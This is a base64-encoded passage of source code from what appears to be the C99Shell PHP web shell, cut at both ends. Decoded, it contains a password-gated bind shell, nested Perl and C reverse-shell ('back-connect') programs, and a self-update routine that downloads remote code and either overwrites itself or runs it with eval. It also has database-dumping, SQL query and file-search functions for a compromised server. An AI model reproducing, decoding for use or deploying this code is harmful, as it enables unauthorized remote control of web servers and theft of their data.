UdWeWNtOXlJaWs3RFFvZ1ltbHVaQ2h6YjJOclptUXNJQ2h6ZEhKMVkzUWdjMjlqYTJGa1pISWdLaWttY21WdGIzUmwiLg0KIkxDQXdlREV3S1RzTkNpQnNhWE4wWlc0b2MyOWphMlprTENBMUtUc05DaUIzYUdsc1pTZ3hLUTBLSUNCN0RRb2dJQ0J1WlhkbVpEMWgiLg0KIlkyTmxjSFFvYzI5amEyWmtMREFzTUNrN0RRb2dJQ0JrZFhBeUtHNWxkMlprTERBcE93MEtJQ0FnWkhWd01paHVaWGRtWkN3eEtUc04iLg0KIkNpQWdJR1IxY0RJb2JtVjNabVFzTWlrN0RRb2dJQ0IzY21sMFpTaHVaWGRtWkN3aVVHRnpjM2R2Y21RNklpd3hNQ2s3RFFvZ0lDQnkiLg0KIlpXRmtLRzVsZDJaa0xHSjFaaXh6YVhwbGIyWW9ZblZtS1NrN0RRb2dJQ0JwWmlBb0lXTm9jR0Z6Y3loaGNtZDJXekpkTEdKMVppa3AiLg0KIkRRb2dJQ0J6ZVhOMFpXMG9JbVZqYUc4Z2QyVnNZMjl0WlNCMGJ5QmpPVGx6YUdWc2JDQW1KaUF2WW1sdUwySmhjMmdnTFdraUtUc04iLg0KIkNpQWdJR1ZzYzJVTkNpQWdJR1p3Y21sdWRHWW9jM1JrWlhKeUxDSlRiM0p5ZVNJcE93MEtJQ0FnWTJ4dmMyVW9ibVYzWm1RcE93MEsiLg0KIklDQjlEUW9nZlEwS2ZRMEthVzUwSUdOb2NHRnpjeWhqYUdGeUlDcGlZWE5sTENCamFHRnlJQ3BsYm5SbGNtVmtLU0I3RFFwcGJuUWciLg0KImFUc05DbVp2Y2locFBUQTdhVHh6ZEhKc1pXNG9aVzUwWlhKbFpDazdhU3NyS1NBTkNuc05DbWxtS0dWdWRHVnlaV1JiYVYwZ1BUMGciLg0KIkoxeHVKeWtOQ21WdWRHVnlaV1JiYVYwZ1BTQW5YREFuT3lBTkNtbG1LR1Z1ZEdWeVpXUmJhVjBnUFQwZ0oxeHlKeWtOQ21WdWRHVnkiLg0KIlpXUmJhVjBnUFNBblhEQW5PdzBLZlEwS2FXWWdLQ0Z6ZEhKamJYQW9ZbUZ6WlN4bGJuUmxjbVZrS1NrTkNuSmxkSFZ5YmlBd093MEsiLg0KImZRPT0iKTt9DQogZWxzZWlmICgkZm4gPT0gImM5OXNoX2JhY2tjb25uLnBsIikge3JldHVybiBiYXNlNjRfZGVjb2RlKA0KIkl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR050WkQwZ0lteDVibmdpT3cwS0oiLg0KIkhONWMzUmxiVDBnSjJWamFHOGdJbUIxYm1GdFpTQXRZV0FpTzJWamFHOGdJbUJwWkdBaU95OWlhVzR2YzJnbk93MEtKREE5SkdOdFoiLg0KIkRzTkNpUjBZWEpuWlhROUpFRlNSMVpiTUYwN0RRb2tjRzl5ZEQwa1FWSkhWbHN4WFRzTkNpUnBZV1JrY2oxcGJtVjBYMkYwYjI0b0oiLg0KIkhSaGNtZGxkQ2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1J3YjNKMEwiLg0KIkNBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmQiLg0KIkdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2EiLg0KIldVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU8iLg0KImlBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFIiLg0KIlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ2tjM2x6ZEdWdEtUc05DbU5zYjNObEsiLg0KIkZOVVJFbE9LVHNOQ21Oc2IzTmxLRk5VUkU5VlZDazdEUXBqYkc5elpTaFRWRVJGVWxJcE93PT0iKTt9DQogZWxzZWlmICgkZm4gPT0gImM5OXNoX2JhY2tjb25uLmMiKSB7cmV0dXJuIGJhc2U2NF9kZWNvZGUoDQoiSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bCIuDQoiZEdsdVpYUXZhVzR1YUQ0TkNtbHVkQ0J0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNwaGNtZDJXMTBwRFFwN0RRb2dhVzUwSUdaayIuDQoiT3cwS0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnphVzQ3RFFvZ1kyaGhjaUJ5YlhOYk1qRmRQU0p5YlNBdFppQWlPeUFOQ2lCayIuDQoiWVdWdGIyNG9NU3d3S1RzTkNpQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2djMmx1TG5OcGJsOXdiM0owSUQwZyIuDQoiYUhSdmJuTW9ZWFJ2YVNoaGNtZDJXekpkS1NrN0RRb2djMmx1TG5OcGJsOWhaR1J5TG5OZllXUmtjaUE5SUdsdVpYUmZZV1JrY2loaCIuDQoiY21kMld6RmRLVHNnRFFvZ1lucGxjbThvWVhKbmRsc3hYU3h6ZEhKc1pXNG9ZWEpuZGxzeFhTa3JNU3R6ZEhKc1pXNG9ZWEpuZGxzeSIuDQoiWFNrcE95QU5DaUJtWkNBOUlITnZZMnRsZENoQlJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dTVkJRVWs5VVQxOVVRMUFwSURzZyIuDQoiRFFvZ2FXWWdLQ2hqYjI1dVpXTjBLR1prTENBb2MzUnlkV04wSUhOdlkydGhaR1J5SUNvcElDWnphVzRzSUhOcGVtVnZaaWh6ZEhKMSIuDQoiWTNRZ2MyOWphMkZrWkhJcEtTazhNQ2tnZXcwS0lDQWdjR1Z5Y205eUtDSmJMVjBnWTI5dWJtVmpkQ2dwSWlrN0RRb2dJQ0JsZUdsMCIuDQoiS0RBcE93MEtJSDBOQ2lCemRISmpZWFFvY20xekxDQmhjbWQyV3pCZEtUc05DaUJ6ZVhOMFpXMG9jbTF6S1RzZ0lBMEtJR1IxY0RJbyIuDQoiWm1Rc0lEQXBPdzBLSUdSMWNESW9abVFzSURFcE93MEtJR1IxY0RJb1ptUXNJRElwT3cwS0lHVjRaV05zS0NJdlltbHVMM05vSWl3aSIuDQoiYzJnZ0xXa2lMQ0JPVlV4TUtUc05DaUJqYkc5elpTaG1aQ2s3SUEwS2ZRPT0iKTt9DQogZWxzZSB7cmV0dXJuIGZhbHNlO30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlzaF9nZXR1cGRhdGUiKSkNCnsNCmZ1bmN0aW9uIGM5OXNoX2dldHVwZGF0ZSgkdXBkYXRlID0gdHJ1ZSkNCnsNCiAkdXJsID0gJEdMT0JBTFNbImM5OXNoX3VwZGF0ZXVybCJdLiI/dmVyc2lvbj0iLnVybGVuY29kZShiYXNlNjRfZW5jb2RlKCRHTE9CQUxTWyJzaHZlciJdKSkuIiZ1cGRhdGVub3c9Ii4oJHVwZGF0ZW5vdz8iMSI6IjAiKS4iJiI7DQogJGRhdGEgPSBAZmlsZV9nZXRfY29udGVudHMoJHVybCk7DQogaWYgKCEkZGF0YSkge3JldHVybiAiQ2FuJ3QgY29ubmVjdCB0byB1cGRhdGUtc2VydmVyISI7fQ0KIGVsc2UNCiB7DQogICRkYXRhID0gbHRyaW0oJGRhdGEpOw0KICAkc3RyaW5nID0gc3Vic3RyKCRkYXRhLDMsb3JkKCRkYXRhezJ9KSk7DQogIGlmICgkZGF0YXswfSA9PSAiXHg5OSIgYW5kICRkYXRhezF9ID09ICJceDAxIikge3JldHVybiAiRXJyb3I6ICIuJHN0cmluZzsgcmV0dXJuIGZhbHNlO30NCiAgaWYgKCRkYXRhezB9ID09ICJceDk5IiBhbmQgJGRhdGF7MX0gPT0gIlx4MDIiKSB7cmV0dXJuICJZb3UgYXJlIHVzaW5nIGxhdGVzdCB2ZXJzaW9uISI7fQ0KICBpZiAoJGRhdGF7MH0gPT0gIlx4OTkiIGFuZCAkZGF0YXsxfSA9PSAiXHgwMyIpDQogIHsNCiAgICRzdHJpbmcgPSBleHBsb2RlKCJceDAxIiwkc3RyaW5nKTsNCiAgIGlmICgkdXBkYXRlKQ0KICAgew0KICAgICRjb25mdmFycyA9IGFycmF5KCk7DQogICAgJHNvdXJjZXVybCA9ICRzdHJpbmdbMF07DQogICAgJHNvdXJjZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRzb3VyY2V1cmwpOw0KICAgIGlmICghJHNvdXJjZSkge3JldHVybiAiQ2FuJ3QgZmV0Y2ggdXBkYXRlISI7fQ0KICAgIGVsc2UNCiAgICB7DQogICAgICRmcCA9IGZvcGVuKF9fRklMRV9fLCJ3Iik7DQogICAgIGlmICghJGZwKSB7cmV0dXJuICJMb2NhbCBlcnJvcjogY2FuJ3Qgd3JpdGUgdXBkYXRlIHRvIF9fRklMRV9fISBZb3UgbWF5IGRvd25sb2FkIGM5OXNoZWxsLnBocCBtYW51YWxseSA8YSBocmVmPVwiIi4kc291cmNldXJsLiJcIj48dT5oZXJlPC91PjwvYT4uIjt9DQogICAgIGVsc2Uge2Z3cml0ZSgkZnAsJHNvdXJjZSk7IGZjbG9zZSgkZnApOyByZXR1cm4gIlRoYW5rcyEgVXBkYXRlZCB3aXRoIHN1Y2Nlc3MuIjt9DQogICAgfQ0KICAgfQ0KICAgZWxzZSB7cmV0dXJuICJOZXcgdmVyc2lvbiBhcmUgYXZhaWxhYmxlOiAiLiRzdHJpbmdbMV07fQ0KICB9DQogIGVsc2VpZiAoJGRhdGF7MH0gPT0gIlx4OTkiIGFuZCAkZGF0YXsxfSA9PSAiXHgwNCIpIHtldmFsKCRzdHJpbmcpOyByZXR1cm4gMTt9DQogIGVsc2Uge3JldHVybiAiRXJyb3IgaW4gcHJvdG9jb2w6IHNlZ21lbnRhdGlvbiBmYWlsZWQhICgiLiRkYXRhLiIpICI7fQ0KIH0NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9kdW1wIikpDQp7DQpmdW5jdGlvbiBteXNxbF9kdW1wKCRzZXQpDQp7DQogZ2xvYmFsICRzaHZlcjsNCiAkc29jayA9ICRzZXRbInNvY2siXTsNCiAkZGIgPSAkc2V0WyJkYiJdOw0KICRwcmludCA9ICRzZXRbInByaW50Il07DQogJG5sMmJyID0gJHNldFsibmwyYnIiXTsNCiAkZmlsZSA9ICRzZXRbImZpbGUiXTsNCiAkYWRkX2Ryb3AgPSAkc2V0WyJhZGRfZHJvcCJdOw0KICR0YWJzID0gJHNldFsidGFicyJdOw0KICRvbmx5dGFicyA9ICRzZXRbIm9ubHl0YWJzIl07DQogJHJldCA9IGFycmF5KCk7DQogJHJldFsiZXJyIl0gPSBhcnJheSgpOw0KIGlmICghaXNfcmVzb3VyY2UoJHNvY2spKSB7ZWNobygiRXJyb3I6IFwkc29jayBpcyBub3QgdmFsaWQgcmVzb3VyY2UuIik7fQ0KIGlmIChlbXB0eSgkZGIpKSB7JGRiID0gImRiIjt9DQogaWYgKGVtcHR5KCRwcmludCkpIHskcHJpbnQgPSAwO30NCiBpZiAoZW1wdHkoJG5sMmJyKSkgeyRubDJiciA9IDA7fQ0KIGlmIChlbXB0eSgkYWRkX2Ryb3ApKSB7JGFkZF9kcm9wID0gdHJ1ZTt9DQogaWYgKGVtcHR5KCRmaWxlKSkNCiB7DQogICRmaWxlID0gJHRtcGRpci4iZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJGRiLiJfIi5kYXRlKCJkLW0tWS1ILWktcyIpLiIuc3FsIjsNCiB9DQogaWYgKCFpc19hcnJheSgkdGFicykpIHskdGFicyA9IGFycmF5KCk7fQ0KIGlmIChlbXB0eSgkYWRkX2Ryb3ApKSB7JGFkZF9kcm9wID0gdHJ1ZTt9DQogaWYgKHNpemVvZigkdGFicykgPT0gMCkNCiB7DQogIC8vIHJldHJpdmUgdGFibGVzLWxpc3QNCiAgJHJlcyA9IG15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFUyBGUk9NICIuJGRiLCAkc29jayk7DQogIGlmIChteXNxbF9udW1fcm93cygkcmVzKSA+IDApIHt3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX3JvdygkcmVzKSkgeyR0YWJzW10gPSAkcm93WzBdO319DQogfQ0KICRvdXQgPSAiIyBEdW1wZWQgYnkgQzk5U2hlbGwuU1FMIHYuICIuJHNodmVyLiINCiMgSG9tZSBwYWdlOiBodHRwOi8vY2N0ZWFtLnJ1DQojDQojIEhvc3Qgc2V0dGluZ3M6DQojIE15U1FMIHZlcnNpb246ICgiLm15c3FsX2dldF9zZXJ2ZXJfaW5mbygpLiIpIHJ1bm5pbmcgb24gIi5nZXRlbnYoIlNFUlZFUl9BRERSIikuIiAoIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIikiLiINCiMgRGF0ZTogIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiINCiMgREI6IFwiIi4kZGIuIlwiDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoiOw0KICRjID0gY291bnQoJG9ubHl0YWJzKTsNCiBmb3JlYWNoKCR0YWJzIGFzICR0YWIpDQogew0KICBpZiAoKGluX2FycmF5KCR0YWIsJG9ubHl0YWJzKSkgb3IgKCEkYykpDQogIHsNCiAgIGlmICgkYWRkX2Ryb3ApIHskb3V0IC49ICJEUk9QIFRBQkxFIElGIEVYSVNUUyBgIi4kdGFiLiJgO1xuIjt9DQogICAvLyByZWNpZXZlIHF1ZXJ5IGZvciBjcmVhdGUgdGFibGUgc3RydWN0dXJlDQogICAkcmVzID0gbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIFRBQkxFIGAiLiR0YWIuImAiLCAkc29jayk7DQogICBpZiAoISRyZXMpIHskcmV0WyJlcnIiXVtdID0gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgIGVsc2UNCiAgIHsNCiAgICAkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXMpOw0KICAgICRvdXQgLj0gJHJvd1siMSJdLiI7XG5cbiI7DQogICAgLy8gcmVjaWV2ZSB0YWJsZSB2YXJpYWJsZXMNCiAgICAkcmVzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gYCR0YWJgIiwgJHNvY2spOw0KICAgIGlmIChteXNxbF9udW1fcm93cygkcmVzKSA+IDApDQogICAgew0KICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2Fzc29jKCRyZXMpKQ0KICAgICB7DQogICAgICAka2V5cyA9IGltcGxvZGUoImAsIGAiLCBhcnJheV9rZXlzKCRyb3cpKTsNCiAgICAgICR2YWx1ZXMgPSBhcnJheV92YWx1ZXMoJHJvdyk7DQogICAgICBmb3JlYWNoKCR2YWx1ZXMgYXMgJGs9PiR2KSB7JHZhbHVlc1ska10gPSBhZGRzbGFzaGVzKCR2KTt9DQogICAgICAkdmFsdWVzID0gaW1wbG9kZSgiJywgJyIsICR2YWx1ZXMpOw0KICAgICAgJHNxbCA9ICJJTlNFUlQgSU5UTyBgJHRhYmAoYCIuJGtleXMuImApIFZBTFVFUyAoJyIuJHZhbHVlcy4iJyk7XG4iOw0KICAgICAgJG91dCAuPSAkc3FsOw0KICAgICB9DQogICAgfQ0KICAgfQ0KICB9DQogfQ0KICRvdXQgLj0gIiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cblxuIjsNCiBpZiAoJGZpbGUpDQogew0KICAkZnAgPSBmb3BlbigkZmlsZSwgInciKTsNCiAgaWYgKCEkZnApIHskcmV0WyJlcnIiXVtdID0gMjt9DQogIGVsc2UNCiAgew0KICAgZndyaXRlICgkZnAsICRvdXQpOw0KICAgZmNsb3NlICgkZnApOw0KICB9DQogfQ0KIGlmICgkcHJpbnQpIHtpZiAoJG5sMmJyKSB7ZWNobyBubDJicigkb3V0KTt9IGVsc2Uge2VjaG8gJG91dDt9fQ0KIHJldHVybiAkb3V0Ow0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2J1aWxkd2hlcmUiKSkNCnsNCmZ1bmN0aW9uIG15c3FsX2J1aWxkd2hlcmUoJGFycmF5LCRzZXA9IiBhbmQiLCRmdW5jdHM9YXJyYXkoKSkNCnsNCiBpZiAoIWlzX2FycmF5KCRhcnJheSkpIHskYXJyYXkgPSBhcnJheSgpO30NCiAkcmVzdWx0ID0gIiI7DQogZm9yZWFjaCgkYXJyYXkgYXMgJGs9PiR2KQ0KIHsNCiAgJHZhbHVlID0gIiI7DQogIGlmICghZW1wdHkoJGZ1bmN0c1ska10pKSB7JHZhbHVlIC49ICRmdW5jdHNbJGtdLiIoIjt9DQogICR2YWx1ZSAuPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOw0KICBpZiAoIWVtcHR5KCRmdW5jdHNbJGtdKSkgeyR2YWx1ZSAuPSAiKSI7fQ0KICAkcmVzdWx0IC49ICJgIi4kay4iYCA9ICIuJHZhbHVlLiRzZXA7DQogfQ0KICRyZXN1bHQgPSBzdWJzdHIoJHJlc3VsdCwwLHN0cmxlbigkcmVzdWx0KS1zdHJsZW4oJHNlcCkpOw0KIHJldHVybiAkcmVzdWx0Ow0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2ZldGNoX2FsbCIpKQ0Kew0KZnVuY3Rpb24gbXlzcWxfZmV0Y2hfYWxsKCRxdWVyeSwkc29jaykNCnsNCiBpZiAoJHNvY2spIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRzb2NrKTt9DQogZWxzZSB7JHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSk7fQ0KICRhcnJheSA9IGFycmF5KCk7DQogd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgeyRhcnJheVtdID0gJHJvdzt9DQogbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogcmV0dXJuICRhcnJheTsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9zbWFydGVycm9yIikpDQp7DQpmdW5jdGlvbiBteXNxbF9zbWFydGVycm9yKCR0eXBlLCRzb2NrKQ0Kew0KIGlmICgkc29jaykgeyRlcnJvciA9IG15c3FsX2Vycm9yKCRzb2NrKTt9DQogZWxzZSB7JGVycm9yID0gbXlzcWxfZXJyb3IoKTt9DQogJGVycm9yID0gaHRtbHNwZWNpYWxjaGFycygkZXJyb3IpOw0KIHJldHVybiAkZXJyb3I7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfcXVlcnlfZm9ybSIpKQ0Kew0KZnVuY3Rpb24gbXlzcWxfcXVlcnlfZm9ybSgpDQp7DQogZ2xvYmFsICRzdWJtaXQsJHNxbF9hY3QsJHNxbF9xdWVyeSwkc3FsX3F1ZXJ5X3Jlc3VsdCwkc3FsX2NvbmZpcm0sJHNxbF9xdWVyeV9lcnJvciwkdGJsX3N0cnVjdDsNCiBpZiAoKCRzdWJtaXQpIGFuZCAoISRzcWxfcXVlcnlfcmVzdWx0KSBhbmQgKCRzcWxfY29uZmlybSkpIHtpZiAoISRzcWxfcXVlcnlfZXJyb3IpIHskc3FsX3F1ZXJ5X2Vycm9yID0gIlF1ZXJ5IHdhcyBlbXB0eSI7fSBlY2hvICI8Yj5FcnJvcjo8L2I+IDxicj4iLiRzcWxfcXVlcnlfZXJyb3IuIjxicj4iO30NCiBpZiAoJHNxbF9xdWVyeV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKSB7JHNxbF9hY3QgPSAkc3FsX2dvdG87fQ0KIGlmICgoISRzdWJtaXQpIG9yICgkc3FsX2FjdCkpDQogew0KICBlY2hvICI8dGFibGUgYm9yZGVyPTA+PHRyPjx0ZD48Zm9ybSBhY3Rpb249XCIiLiRzcWxfc3VybC4iXCIgbmFtZT1cImM5OXNoX3NxbHF1ZXJ5XCIgbWV0aG9kPVwiUE9TVFwiPjxiPiI7IGlmICgoJHNxbF9xdWVyeSkgYW5kICghJHN1Ym1pdCkpIHtlY2hvICJEbyB5b3UgcmVhbGx5IHdhbnQgdG8iO30gZWxzZSB7ZWNobyAiU1FMLVF1ZXJ5Ijt9IGVjaG8gIjo8L2I+PGJyPjxicj48dGV4dGFyZWEgbmFtZT1cInNxbF9xdWVyeVwiIGNvbHM9XCIxMDBcIiByb3dzPVwiMTBcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9xdWVyeSkuIjwvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cInNxbF9hY3RcIiB2YWx1ZT1cInF1ZXJ5XCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJzcWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zdWJtaXQgdmFsdWU9XCIxXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJzcWxfZ290b1wiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZ290bykuIlwiPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPVwic3FsX2NvbmZpcm1cIiB2YWx1ZT1cIlllc1wiPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIk5vXCI+PC9mb3JtPjwvdGQ+IjsNCiAgaWYgKCR0Ymxfc3RydWN0KQ0KICB7DQogICBlY2hvICI8dGQgdmFsaWduPVwidG9wXCI+PGI+RmllbGRzOjwvYj48YnI+IjsNCiAgIGZvcmVhY2ggKCR0Ymxfc3RydWN0IGFzICRmaWVsZCkgeyRuYW1lID0gJGZpZWxkWyJGaWVsZCJdOyBlY2hvICK7IDxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LmM5OXNoX3NxbHF1ZXJ5LnNxbF9xdWVyeS52YWx1ZSs9J2AiLiRuYW1lLiJgJztcIj48Yj4iLiRuYW1lLiI8L2I+PC9hPjxicj4iO30NCiAgIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7DQogIH0NCiB9DQogaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfcXVlcnkgPSAkc3FsX2xhc3RfcXVlcnk7fQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2NyZWF0ZV9kYiIpKQ0Kew0KZnVuY3Rpb24gbXlzcWxfY3JlYXRlX2RiKCRkYiwkc29jaz0iIikNCnsNCiAkc3FsID0gIkNSRUFURSBEQVRBQkFTRSBgIi5hZGRzbGFzaGVzKCRkYikuImA7IjsNCiBpZiAoJHNvY2spIHtyZXR1cm4gbXlzcWxfcXVlcnkoJHNxbCwkc29jayk7fQ0KIGVsc2Uge3JldHVybiBteXNxbF9xdWVyeSgkc3FsKTt9DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfcXVlcnlfcGFyc2UiKSkNCnsNCmZ1bmN0aW9uIG15c3FsX3F1ZXJ5X3BhcnNlKCRxdWVyeSkNCnsNCiAkcXVlcnkgPSB0cmltKCRxdWVyeSk7DQogJGFyciA9IGV4cGxvZGUgKCIgIiwkcXVlcnkpOw0KIC8qYXJyYXkgYXJyYXkoKQ0KIHsNCiAgIk1FVEhPRCI9PmFycmF5KG91dHB1dF90eXBlKSwNCiAgIk1FVEhPRDEiLi4uDQogIC4uLg0KIH0NCiBpZiBvdXRwdXRfdHlwZSA9PSAwLCBubyBvdXRwdXQsDQogaWYgb3V0cHV0X3R5cGUgPT0gMSwgbm8gb3V0cHV0IGlmIG5vIGVycm9yDQogaWYgb3V0cHV0X3R5cGUgPT0gMiwgb3V0cHV0IHdpdGhvdXQgY29udHJvbC1idXR0b25zDQogaWYgb3V0cHV0X3R5cGUgPT0gMywgb3V0cHV0IHdpdGggY29udHJvbC1idXR0b25zDQogKi8NCiAkdHlwZXMgPSBhcnJheSgNCiAgIlNFTEVDVCI9PmFycmF5KDMsMSksDQogICJTSE9XIj0+YXJyYXkoMiwxKSwNCiAgIkRFTEVURSI9PmFycmF5KDEpLA0KICAiRFJPUCI9PmFycmF5KDEpDQogKTsNCiAkcmVzdWx0ID0gYXJyYXkoKTsNCiAkb3AgPSBzdHJ0b3VwcGVyKCRhcnJbMF0pOw0KIGlmIChpc19hcnJheSgkdHlwZXNbJG9wXSkpDQogew0KICAkcmVzdWx0WyJwcm9wZXJ0aW9ucyJdID0gJHR5cGVzWyRvcF07DQogICRyZXN1bHRbInF1ZXJ5Il0gID0gJHF1ZXJ5Ow0KICBpZiAoJHR5cGVzWyRvcF0gPT0gMikNCiAgew0KICAgZm9yZWFjaCgkYXJyIGFzICRrPT4kdikNCiAgIHsNCiAgICBpZiAoc3RydG91cHBlcigkdikgPT0gIkxJTUlUIikNCiAgICB7DQogICAgICRyZXN1bHRbImxpbWl0Il0gPSAkYXJyWyRrKzFdOw0KICAgICAkcmVzdWx0WyJsaW1pdCJdID0gZXhwbG9kZSgiLCIsJHJlc3VsdFsibGltaXQiXSk7DQogICAgIGlmIChjb3VudCgkcmVzdWx0WyJsaW1pdCJdKSA9PSAxKSB7JHJlc3VsdFsibGltaXQiXSA9IGFycmF5KDAsJHJlc3VsdFsibGltaXQiXVswXSk7fQ0KICAgICB1bnNldCgkYXJyWyRrXSwkYXJyWyRrKzFdKTsNCiAgICB9DQogICB9DQogIH0NCiB9DQogZWxzZSB7cmV0dXJuIGZhbHNlO30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlmc2VhcmNoIikpDQp7DQpmdW5jdGlvbiBjOTlmc2VhcmNoKCRkKQ0Kew0KIGdsb2JhbCAkZm91bmQ7DQogZ2xvYmFsICRmb3VuZF9kOw0KIGdsb2JhbCAkZm91bmRfZjsNCiBnbG9iYWwgJHNlYXJjaF9pX2Y7DQogZ2xvYmFsICRzZWFyY2hfaV9kOw0KIGdsb2JhbCAkYTsNCiBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogJGggPSBvcGVuZGlyKCRkKTsNCiB3aGlsZSAoKCRmID0gcmVhZGRpcigkaCkpICE9PSBmYWxzZSkNCiB7DQogIGlmKCRmICE9ICIuIiAmJiAkZiAhPSAiLi4iKQ0KICB7DQogICAkYm9vbCA9IChlbXB0eSgkYVsibmFtZV9yZWdleHAiXSkgYW5kIHN0cnBvcygkZiwkYVsibmFtZSJdKSAhPT0gZmFsc2UpIHx8ICgkYVsibmFtZV9yZWdleHAiXSBhbmQgZXJlZygkYVsibmFtZSJdLCRmKSk7DQogICBpZiAoaXNfZGlyKCRkLiRmKSkNCiAgIHsNCiAgICAkc2VhcmNoX2lfZCsrOw0KICAgIGlmIChlbXB0eSgkYVsidGV4dCJdKSBhbmQgJGJvb2wpIHskZm91bmRbXSA9ICRkLiRmOyAkZm91bmRfZCsrO30NCiAgICBpZiAoIWlzX2xpbmsoJGQuJGYpKSB7Yzk5ZnNlYXJjaCgkZC4kZik7fQ0KICAgfQ0KICAgZWxzZQ0KICAgew0KICAgICRzZWFyY2hfaV9mKys7DQogICAgaWYgKCRib29sKQ0KICAgIHsNCiAgICAgaWYgKCFlbXB0eSgkYVsidGV4dCJdKSkNCiAgICAgew0KICAgICAgJHIgPSBAZmlsZV9nZXRfY29udGVudHMoJGQuJGYpOw0KICAgICAgaWYgKCRhWyJ0ZXh0X3d3byJdKSB7JGFbInRleHQiXSA9ICIgIi50cmltKCRhWyJ0ZXh0Il0pLiIgIjt9DQogICAgICBpZiAoISRhWyJ0ZXh0X2NzIl0pIHskYVsidGV4dCJdID0gc3RydG9sb3dlcigkYVsidGV4dCJdKTsgJHIgPSBzdHJ0b2xvd2VyKCRyKTt9DQogICAgICBpZiAoJGFbInRleHRfcmVnZXhwIl0pIHskYm9vbCA9IGVyZWcoJGFbInRleHQiXSwkcik7fQ0KICAgICAgZWxzZSB7JGJvb2wgPSBzdHJwb3MoIiAiLiRyLCRhWyJ0ZXh0Il0sMSk7fQ0KICAgICAgaWYgKCRhWyJ0ZXh0X25vdCJdKSB7JGJvb2wgPSAhJGJvb2w7fQ0KICAgICAgaWYgKCRib29sKSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2YrKzt9DQogICAgIH0NCiAgICAgZWxzZSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2YrKzt9